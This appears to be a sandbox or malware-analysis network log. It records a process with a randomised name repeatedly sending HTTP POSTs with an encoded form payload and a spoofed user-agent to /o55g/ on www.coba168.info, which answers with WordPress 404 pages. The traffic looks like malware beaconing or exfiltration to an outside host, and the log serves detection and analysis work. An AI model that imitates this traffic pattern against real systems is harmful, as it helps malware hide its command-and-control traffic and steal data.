Oct 24, 2024 15:18:11.826174021 CEST	685	IN	HTTP/1.1 404 Not Found Server: nginx Date: Thu, 24 Oct 2024 13:18:11 GMT Content-Type: text/html Content-Length: 520 Connection: close ETag: "6632e438-208" Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 22 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 3e 0d 0a 3c 74 69 74 6c 65 3e 34 30 34 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 3e 0d 0a 09 62 6f 64 79 7b 0d 0a 09 09 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 34 34 34 3b 0d 0a 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 0d 0a 09 7d 0d 0a 09 68 33 7b 0d 0a 09 09 66 6f 6e 74 2d 73 69 7a 65 3a 36 30 70 78 3b 0d 0a 09 09 63 6f 6c 6f 72 3a 23 65 [TRUNCATED] Data Ascii: <!doctype html><html><head><meta charset="utf-8"><meta http-equiv="X-UA-Compatible" content="IE=edge"><meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no"><title>404</title><style>body{background-color:#444;font-size:14px;}h3{font-size:60px;color:#eee;text-align:center;padding-top:30px;font-weight:normal;}</style></head><body><h3>404!</h3></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49991	118.139.178.37	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:18:16.916616917 CEST	740	OUT	POST /o55g/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.coba168.info Origin: http://www.coba168.info Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 206 Referer: http://www.coba168.info/o55g/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 66 6c 46 67 62 58 61 5a 52 76 78 39 58 52 76 33 59 77 57 36 68 73 69 6a 36 75 2f 41 54 4b 50 38 4f 33 58 58 62 55 7a 6e 4c 54 2f 2b 61 67 51 35 4a 45 38 74 51 62 76 32 6e 72 36 68 42 64 4d 76 47 74 6c 61 69 6c 4b 36 66 6c 33 37 45 31 44 68 37 6c 33 72 77 72 6e 65 6c 37 32 53 4f 76 61 50 4f 69 62 4c 4c 53 78 6a 72 54 6f 66 4f 66 54 34 42 30 78 43 36 74 4f 44 59 59 79 4f 44 65 74 62 75 30 6f 6d 32 46 4c 68 2b 73 74 6c 74 69 74 32 55 64 62 2f 43 30 4f 68 58 4d 4a 63 39 72 2f 35 78 66 66 48 37 45 2b 47 79 73 71 49 79 6e 4f 68 78 63 4b 31 6a 66 4d 35 36 38 6f 30 6b 31 31 61 56 71 33 38 4b 36 67 3d Data Ascii: 7Bohe=flFgbXaZRvx9XRv3YwW6hsij6u/ATKP8O3XXbUznLT/+agQ5JE8tQbv2nr6hBdMvGtlailK6fl37E1Dh7l3rwrnel72SOvaPOibLLSxjrTofOfT4B0xC6tODYYyODetbu0om2FLh+stltit2Udb/C0OhXMJc9r/5xffH7E+GysqIynOhxcK1jfM568o0k11aVq38K6g=
Oct 24, 2024 15:18:18.102643967 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 24 Oct 2024 13:18:17 GMT Server: Apache X-Powered-By: PHP/8.2.23 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.coba168.info/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 74 68 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 63 6f 62 61 31 36 38 2e 69 6e 66 6f 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 [TRUNCATED] Data Ascii: 4000<!DOCTYPE html><html lang="th"><head><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><link rel="profile" href="http://gmpg.org/xfn/11" /><link rel="pingback" href="http://www.coba168.info/xmlrpc.php" /><meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v23.7 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found - coba168 </title><meta property="og:locale" content="th_TH" /><meta property="og:title" content="Page not found - coba168
Oct 24, 2024 15:18:18.102709055 CEST	212	IN	Data Raw: 95 e0 b8 81 e0 b8 87 e0 b9 88 e0 b8 b2 e0 b8 a2 20 e0 b8 9e e0 b8 a3 e0 b9 89 e0 b8 ad e0 b8 a1 e0 b9 80 e0 b8 84 e0 b8 a3 e0 b8 94 e0 b8 b4 e0 b8 95 e0 b8 9f e0 b8 a3 e0 b8 b5 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f Data Ascii: " /><meta property="og:site_name" content="coba168
Oct 24, 2024 15:18:18.102727890 CEST	1236	IN	Data Raw: 95 e0 b8 81 e0 b8 87 e0 b9 88 e0 b8 b2 e0 b8 a2 20 e0 b8 9e e0 b8 a3 e0 b9 89 e0 b8 ad e0 b8 a1 e0 b9 80 e0 b8 84 e0 b8 a3 e0 b8 94 e0 b8 b4 e0 b8 95 e0 b8 9f e0 b8 a3 e0 b8 b5 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 Data Ascii: " /><script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebSite","@id":"https://www.coba168.info/#website","url":"https
Oct 24, 2024 15:18:18.102762938 CEST	212	IN	Data Raw: 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6f 62 61 31 36 38 2e 69 6e 66 6f 2f 23 2f 73 63 68 65 6d 61 2f 6c 6f 67 6f 2f 69 6d 61 67 65 2f 22 7d 7d 5d 7d 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 21 2d 2d 20 2f 20 59 6f 61 73 74 20 Data Ascii: {"@id":"https://www.coba168.info/#/schema/logo/image/"}}]}</script>... / Yoast SEO plugin. --><link rel="alternate" type="application/rss+xml" title="coba168
Oct 24, 2024 15:18:18.102777004 CEST	1236	IN	Data Raw: 84 e0 b8 b8 e0 b8 93 e0 b8 a0 e0 b8 b2 e0 b8 9e e0 b8 88 e0 b8 b2 e0 b8 81 e0 b8 84 e0 b9 88 e0 b8 b2 e0 b8 a2 e0 b8 94 e0 b8 b1 e0 b8 87 20 e0 b9 81 e0 b8 95 e0 b8 81 e0 b8 87 e0 b9 88 e0 b8 b2 e0 b8 a2 20 e0 b8 9e e0 b8 a3 e0 b9 89 e0 b8 ad e0 Data Ascii: » " href="https://www.coba168.info/feed/" /><link rel="alternate" type="application/rss+xml" title="coba168
Oct 24, 2024 15:18:18.102803946 CEST	1236	IN	Data Raw: 61 67 65 44 61 74 61 28 30 2c 30 2c 65 2e 63 61 6e 76 61 73 2e 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2e 64 61 74 61 29 29 3b 72 65 74 75 72 6e 20 74 2e 65 76 65 72 79 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 Data Ascii: ageData(0,0,e.canvas.width,e.canvas.height).data));return t.every(function(e,t){return e===r[t]})}function u(e,t,n){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\
Oct 24, 2024 15:18:18.102834940 CEST	424	IN	Data Raw: 61 72 20 65 3d 4a 53 4f 4e 2e 70 61 72 73 65 28 73 65 73 73 69 6f 6e 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 6f 29 29 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 3d 3d 74 79 70 65 6f 66 Data Ascii: ar e=JSON.parse(sessionStorage.getItem(o));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=type
Oct 24, 2024 15:18:18.102890968 CEST	1236	IN	Data Raw: 2e 74 6f 53 74 72 69 6e 67 28 29 2c 70 2e 74 6f 53 74 72 69 6e 67 28 29 5d 2e 6a 6f 69 6e 28 22 2c 22 29 2b 22 29 29 3b 22 2c 72 3d 6e 65 77 20 42 6c 6f 62 28 5b 65 5d 2c 7b 74 79 70 65 3a 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 7d 29 Data Ascii: .toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"}),a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=function(e){c(n=e.data),a.terminate(),t(n)})}catch(e){}c(n=f(s,u,p))}t
Oct 24, 2024 15:18:18.102988005 CEST	1236	IN	Data Raw: 20 30 2e 30 37 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 20 2d 30 2e 31 65 6d 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 09 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 6e 6f 6e 65 20 21 69 6d 70 6f 72 Data Ascii: 0.07em !important;vertical-align: -0.1em !important;background: none !important;padding: 0 !important;}</style><link rel='stylesheet' id='wp-block-library-css' href='http://www.coba168.info/wp-includes/css/dist/block-library/styl
Oct 24, 2024 15:18:18.103005886 CEST	424	IN	Data Raw: 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 6c 69 67 68 74 2d 67 72 65 65 6e 2d 63 79 61 6e 3a 20 23 37 62 64 63 62 35 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 76 69 76 69 64 2d 67 72 65 65 6e 2d 63 79 61 Data Ascii: -wp--preset--color--light-green-cyan: #7bdcb5;--wp--preset--color--vivid-green-cyan: #00d084;--wp--preset--color--pale-cyan-blue: #8ed1fc;--wp--preset--color--vivid-cyan-blue: #0693e3;--wp--preset--color--vivid-purple: #9b51e0;--wp--preset--gr
Oct 24, 2024 15:18:18.108412981 CEST	1236	IN	Data Raw: 65 6e 74 28 31 33 35 64 65 67 2c 72 67 62 28 31 32 32 2c 32 32 30 2c 31 38 30 29 20 30 25 2c 72 67 62 28 30 2c 32 30 38 2c 31 33 30 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 6c 75 6d 69 6e 6f Data Ascii: ent(135deg,rgb(122,220,180) 0%,rgb(0,208,130) 100%);--wp--preset--gradient--luminous-vivid-amber-to-luminous-vivid-orange: linear-gradient(135deg,rgba(252,185,0,1) 0%,rgba(255,105,0,1) 100%);--wp--preset--gradient--luminous-vivid-orange-to-viv

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49992	118.139.178.37	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:18:19.466129065 CEST	760	OUT	POST /o55g/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.coba168.info Origin: http://www.coba168.info Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 226 Referer: http://www.coba168.info/o55g/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 66 6c 46 67 62 58 61 5a 52 76 78 39 56 77 2f 33 55 33 71 36 70 73 69 6b 31 4f 2f 41 59 71 4f 55 4f 77 66 58 62 52 44 33 4c 68 62 2b 62 42 67 35 49 46 38 74 54 62 76 32 6f 4c 36 67 4d 39 4d 6b 47 74 6f 6c 69 6c 47 36 66 6c 6a 37 45 33 62 68 37 79 6a 6f 79 37 6e 4c 70 62 32 51 51 66 61 50 4f 69 62 4c 4c 53 6c 46 72 54 67 66 4f 73 4c 34 42 56 78 46 6b 64 4f 41 49 49 79 4f 56 75 74 41 75 30 70 46 32 48 2b 45 2b 70 70 6c 74 6e 52 32 55 6f 6e 2b 4d 30 4f 6e 4b 63 49 79 30 65 53 77 70 4a 71 4d 34 46 50 41 6e 66 53 64 2b 78 6a 4c 72 2b 43 64 77 2f 67 42 71 76 67 44 31 46 55 7a 50 4a 6e 4d 55 74 30 58 79 35 78 66 39 2f 63 34 64 77 36 6c 76 55 77 51 7a 4c 50 56 Data Ascii: 7Bohe=flFgbXaZRvx9Vw/3U3q6psik1O/AYqOUOwfXbRD3Lhb+bBg5IF8tTbv2oL6gM9MkGtolilG6flj7E3bh7yjoy7nLpb2QQfaPOibLLSlFrTgfOsL4BVxFkdOAIIyOVutAu0pF2H+E+ppltnR2Uon+M0OnKcIy0eSwpJqM4FPAnfSd+xjLr+Cdw/gBqvgD1FUzPJnMUt0Xy5xf9/c4dw6lvUwQzLPV
Oct 24, 2024 15:18:20.660245895 CEST	1236	IN	HTTP/1.1 404 Not Found Date: Thu, 24 Oct 2024 13:18:20 GMT Server: Apache X-Powered-By: PHP/8.2.23 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0 Link: <https://www.coba168.info/wp-json/>; rel="https://api.w.org/" Upgrade: h2,h2c Connection: Upgrade, close Vary: Accept-Encoding Transfer-Encoding: chunked Content-Type: text/html; charset=UTF-8 Data Raw: 34 30 30 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 74 68 22 3e 0a 3c 68 65 61 64 3e 0a 09 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 6f 66 69 6c 65 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 67 6d 70 67 2e 6f 72 67 2f 78 66 6e 2f 31 31 22 20 2f 3e 0a 09 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 69 6e 67 62 61 63 6b 22 20 68 72 65 66 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 63 6f 62 61 31 36 38 2e 69 6e 66 6f 2f 78 6d 6c 72 70 63 2e 70 68 70 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 27 72 6f 62 6f 74 73 27 20 63 6f 6e 74 65 6e 74 3d 27 6e 6f 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 27 20 2f 3e 0a 0a 09 3c 21 2d 2d 20 54 68 69 73 20 73 69 74 65 20 69 73 20 6f 70 74 [TRUNCATED] Data Ascii: 4000<!DOCTYPE html><html lang="th"><head><meta charset="UTF-8" /><meta name="viewport" content="width=device-width, initial-scale=1" /><link rel="profile" href="http://gmpg.org/xfn/11" /><link rel="pingback" href="http://www.coba168.info/xmlrpc.php" /><meta name='robots' content='noindex, follow' />... This site is optimized with the Yoast SEO plugin v23.7 - https://yoast.com/wordpress/plugins/seo/ --><title>Page not found - coba168 </title><meta property="og:locale" content="th_TH" /><meta property="og:title" content="Page not found - coba168
Oct 24, 2024 15:18:20.660281897 CEST	212	IN	Data Raw: 95 e0 b8 81 e0 b8 87 e0 b9 88 e0 b8 b2 e0 b8 a2 20 e0 b8 9e e0 b8 a3 e0 b9 89 e0 b8 ad e0 b8 a1 e0 b9 80 e0 b8 84 e0 b8 a3 e0 b8 94 e0 b8 b4 e0 b8 95 e0 b8 9f e0 b8 a3 e0 b8 b5 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 70 72 6f 70 65 72 74 79 3d 22 6f Data Ascii: " /><meta property="og:site_name" content="coba168
Oct 24, 2024 15:18:20.660347939 CEST	1236	IN	Data Raw: 95 e0 b8 81 e0 b8 87 e0 b9 88 e0 b8 b2 e0 b8 a2 20 e0 b8 9e e0 b8 a3 e0 b9 89 e0 b8 ad e0 b8 a1 e0 b9 80 e0 b8 84 e0 b8 a3 e0 b8 94 e0 b8 b4 e0 b8 95 e0 b8 9f e0 b8 a3 e0 b8 b5 22 20 2f 3e 0a 09 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 61 70 70 Data Ascii: " /><script type="application/ld+json" class="yoast-schema-graph">{"@context":"https://schema.org","@graph":[{"@type":"WebSite","@id":"https://www.coba168.info/#website","url":"https
Oct 24, 2024 15:18:20.660372972 CEST	1236	IN	Data Raw: 7b 22 40 69 64 22 3a 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 63 6f 62 61 31 36 38 2e 69 6e 66 6f 2f 23 2f 73 63 68 65 6d 61 2f 6c 6f 67 6f 2f 69 6d 61 67 65 2f 22 7d 7d 5d 7d 3c 2f 73 63 72 69 70 74 3e 0a 09 3c 21 2d 2d 20 2f 20 59 6f 61 73 74 20 Data Ascii: {"@id":"https://www.coba168.info/#/schema/logo/image/"}}]}</script>... / Yoast SEO plugin. --><link rel="alternate" type="application/rss+xml" title="coba168
Oct 24, 2024 15:18:20.660396099 CEST	424	IN	Data Raw: 77 69 64 74 68 2c 65 2e 63 61 6e 76 61 73 2e 68 65 69 67 68 74 29 2c 65 2e 66 69 6c 6c 54 65 78 74 28 74 2c 30 2c 30 29 3b 76 61 72 20 74 3d 6e 65 77 20 55 69 6e 74 33 32 41 72 72 61 79 28 65 2e 67 65 74 49 6d 61 67 65 44 61 74 61 28 30 2c 30 2c Data Ascii: width,e.canvas.height),e.fillText(t,0,0);var t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data),r=(e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0),new Uint32Array(e.getImageData(0,0,e.canvas.width,e.ca
Oct 24, 2024 15:18:20.660480022 CEST	1236	IN	Data Raw: 5c 75 32 36 61 37 5c 75 66 65 30 66 22 29 3f 21 31 3a 21 6e 28 65 2c 22 5c 75 64 38 33 63 5c 75 64 64 66 61 5c 75 64 38 33 63 5c 75 64 64 66 33 22 2c 22 5c 75 64 38 33 63 5c 75 64 64 66 61 5c 75 32 30 30 62 5c 75 64 38 33 63 5c 75 64 64 66 33 22 Data Ascii: \u26a7\ufe0f")?!1:!n(e,"\ud83c\uddfa\ud83c\uddf3","\ud83c\uddfa\u200b\ud83c\uddf3")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc6
Oct 24, 2024 15:18:20.660501957 CEST	1236	IN	Data Raw: 7d 28 29 3b 69 66 28 21 6e 29 7b 69 66 28 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 57 6f 72 6b 65 72 26 26 22 75 6e 64 65 66 69 6e 65 64 22 21 3d 74 79 70 65 6f 66 20 4f 66 66 73 63 72 65 65 6e 43 61 6e 76 61 73 26 26 22 75 6e Data Ascii: }();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(s),u.toString(),p.toString()].join(
Oct 24, 2024 15:18:20.660530090 CEST	1236	IN	Data Raw: 69 64 3d 27 77 70 2d 65 6d 6f 6a 69 2d 73 74 79 6c 65 73 2d 69 6e 6c 69 6e 65 2d 63 73 73 27 3e 0a 0a 09 69 6d 67 2e 77 70 2d 73 6d 69 6c 65 79 2c 20 69 6d 67 2e 65 6d 6f 6a 69 20 7b 0a 09 09 64 69 73 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 20 21 69 Data Ascii: id='wp-emoji-styles-inline-css'>img.wp-smiley, img.emoji {display: inline !important;border: none !important;box-shadow: none !important;height: 1em !important;width: 1em !important;margin: 0 0.07em !important;vertical-
Oct 24, 2024 15:18:20.660553932 CEST	1236	IN	Data Raw: 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 77 68 69 74 65 3a 20 23 66 66 66 66 66 66 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 63 6f 6c 6f 72 2d 2d 70 61 6c 65 2d 70 69 6e 6b 3a 20 23 66 37 38 64 61 37 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d Data Ascii: eset--color--white: #ffffff;--wp--preset--color--pale-pink: #f78da7;--wp--preset--color--vivid-red: #cf2e2e;--wp--preset--color--luminous-vivid-orange: #ff6900;--wp--preset--color--luminous-vivid-amber: #fcb900;--wp--preset--color--light-green
Oct 24, 2024 15:18:20.660581112 CEST	1236	IN	Data Raw: 2c 31 30 35 2c 39 38 29 20 38 30 25 2c 72 67 62 28 32 35 34 2c 32 34 38 2c 37 36 29 20 31 30 30 25 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 67 72 61 64 69 65 6e 74 2d 2d 62 6c 75 73 68 2d 6c 69 67 68 74 2d 70 75 72 70 6c 65 3a 20 6c 69 6e Data Ascii: ,105,98) 80%,rgb(254,248,76) 100%);--wp--preset--gradient--blush-light-purple: linear-gradient(135deg,rgb(255,206,236) 0%,rgb(152,150,240) 100%);--wp--preset--gradient--blush-bordeaux: linear-gradient(135deg,rgb(254,205,165) 0%,rgb(254,45,45)
Oct 24, 2024 15:18:20.666141987 CEST	1236	IN	Data Raw: 72 65 73 65 74 2d 2d 73 68 61 64 6f 77 2d 2d 73 68 61 72 70 3a 20 36 70 78 20 36 70 78 20 30 70 78 20 72 67 62 61 28 30 2c 20 30 2c 20 30 2c 20 30 2e 32 29 3b 2d 2d 77 70 2d 2d 70 72 65 73 65 74 2d 2d 73 68 61 64 6f 77 2d 2d 6f 75 74 6c 69 6e 65 Data Ascii: reset--shadow--sharp: 6px 6px 0px rgba(0, 0, 0, 0.2);--wp--preset--shadow--outlined: 6px 6px 0px -3px rgba(255, 255, 255, 1), 6px 6px rgba(0, 0, 0, 1);--wp--preset--shadow--crisp: 6px 6px 0px rgba(0, 0, 0, 1);}:where(.is-layout-flex){gap: 0.5e

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49993	118.139.178.37	80	2296	C:\Program Files (x86)\nwdHBqGyECJMAInuUlrdrCMOzEsZYrLMweXEyIPPnrlSQJvgJCDwLXrPoElJJdIExiptznTA\qnPyaKsYTE.exe

Timestamp	Bytes transferred	Direction	Data
Oct 24, 2024 15:18:22.009376049 CEST	1777	OUT	POST /o55g/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8 Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.9 Host: www.coba168.info Origin: http://www.coba168.info Cache-Control: no-cache Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 1242 Referer: http://www.coba168.info/o55g/ User-Agent: Mozilla/5.0 (iPad; CPU OS 8_4 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12H143 Safari/600.1.4 Data Raw: 37 42 6f 68 65 3d 66 6c 46 67 62 58 61 5a 52 76 78 39 56 77 2f 33 55 33 71 36 70 73 69 6b 31 4f 2f 41 59 71 4f 55 4f 77 66 58 62 52 44 33 4c 68 54 2b 62 7a 45 35 48 47 55 74 53 62 76 32 68 72 36 39 4d 39 4d 35 47 74 67 68 69 6c 61 45 66 6e 62 37 46 55 54 68 71 57 50 6f 37 37 6e 4c 30 72 32 4e 4f 76 61 61 4f 69 4b 43 4c 53 31 46 72 54 67 66 4f 74 37 34 52 55 78 46 6d 64 4f 44 59 59 79 61 44 65 73 76 75 30 77 2b 32 48 36 36 2b 64 64 6c 74 47 68 32 48 4b 50 2b 45 30 4f 6c 4a 63 49 63 30 65 57 7a 70 4a 66 7a 34 46 4c 6d 6e 66 71 64 37 57 76 58 76 2b 2f 47 73 73 4d 7a 73 4f 30 69 30 6c 67 78 53 62 61 36 52 73 51 31 32 64 64 55 38 6f 59 38 51 79 6e 73 7a 51 31 66 38 73 75 43 7a 52 35 67 35 75 39 32 34 76 37 61 2f 42 2b 4e 72 36 6b 63 63 72 4f 79 58 6a 59 44 4f 78 64 5a 68 68 47 79 62 59 36 6d 62 53 62 5a 77 31 48 32 45 6a 6c 76 42 33 63 73 66 61 69 64 65 4f 36 75 7a 43 4b 33 77 6d 39 6e 74 6f 4e 74 58 57 33 65 2b 76 6b 4c 4b 70 37 37 76 32 34 33 34 51 6e 48 71 6b 78 4e 33 6d 75 6a 67 62 34 64 56 39 63 70 [TRUNCATED] Data Ascii: 7Bohe=flFgbXaZRvx9Vw/3U3q6psik1O/AYqOUOwfXbRD3LhT+bzE5HGUtSbv2hr69M9M5GtghilaEfnb7FUThqWPo77nL0r2NOvaaOiKCLS1FrTgfOt74RUxFmdODYYyaDesvu0w+2H66+ddltGh2HKP+E0OlJcIc0eWzpJfz4FLmnfqd7WvXv+/GssMzsO0i0lgxSba6RsQ12ddU8oY8QynszQ1f8suCzR5g5u924v7a/B+Nr6kccrOyXjYDOxdZhhGybY6mbSbZw1H2EjlvB3csfaideO6uzCK3wm9ntoNtXW3e+vkLKp77v2434QnHqkxN3mujgb4dV9cp2kovbyv7IKcST5BrWCDoQbX6YCCsYPVXtPqTfKc88dn8UdG57a4krZAiHPyqtDY6QP4Mqrh8lB8U6He61Ozy96BwM1LtQ7n8LF7R+qAIyeWBo2wuSGfcPULOgTTCJ8VdOP7k6X9yHbPbzrwjC/9ZZYxVa6xOwDu4FaG6RhI7Tt9UFZPAfOJrCakEXntp0LBTelLqlL2bFNEUy5w2M2OFyZAMYRJZ8sJFgmVLdPa4DKgxs2wBhJLz/FrAcq6H7qDtswwhEjJaprmXbLxRBS7Hdo/mKkTHz8BhUoya14LqeJW06sAMlvaiuJHOIGjDi6ZpFwrnyoCJ0gLw60FZL59cZtWR5pAIMuYckJphqUjNyQyvr+XjA1vfJKwlSEOXlPJRKa8bd8/9i5ZrTAXnc/tN0jRSOnw5Qz+keKo9gHvZQLD3KEwpYJkjmXWIN+spGiL7W